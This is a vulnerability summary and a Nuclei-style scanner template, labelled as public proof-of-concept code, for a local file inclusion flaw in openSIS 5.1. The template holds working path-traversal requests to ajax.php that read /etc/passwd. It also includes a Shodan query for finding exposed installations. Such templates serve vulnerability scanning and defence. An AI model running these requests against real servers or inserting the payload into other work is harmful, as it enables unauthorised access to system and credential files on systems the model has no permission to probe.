openSIS 5.1 is vulnerable to local file inclusion and allows attackers to obtain potentially sensitive information by executing arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
PoC代码[已公开]
id: opensis-lfi
info:
name: openSIS 5.1 - Local File Inclusion
author: pikpikcu
severity: high
description: openSIS 5.1 is vulnerable to local file inclusion and allows attackers to obtain potentially sensitive information by executing arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
reference:
- https://www.exploit-db.com/exploits/38039
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
cpe: cpe:2.3:a:os4ed:opensis:*:*:*:*:*:*:*:*
metadata:
max-request: 2
shodan-query: http.title:"openSIS"
product: opensis
vendor: os4ed
tags: opensis,lfi,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"
- "{{BaseURL}}/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a00473045022100d6798db3e3137081a66706001477081a41343e9e03f3354b8e791b52f8c2989c02202eca0f7d602436276595438df94e9a836ce1154c81dde34e1a66c448b820f5b2:922c64590222798bb761d5b6d8e72950